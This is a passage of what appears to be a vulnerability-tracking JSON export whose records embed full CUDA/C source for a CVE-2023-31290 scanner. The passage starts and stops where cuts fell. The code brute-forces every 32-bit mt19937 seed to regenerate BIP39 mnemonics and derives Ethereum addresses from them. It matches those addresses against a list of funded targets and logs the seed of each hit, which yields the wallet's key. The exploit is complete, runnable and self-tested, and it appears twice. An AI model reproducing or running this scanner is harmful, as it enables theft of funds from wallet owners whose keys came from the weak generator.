  for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:00:27.004395Z"}, {"uuid": "9294a6ed-c612-40f1-b769-434faf4b4197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/2e9833484cf03ca592e212cb9934dd43", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], 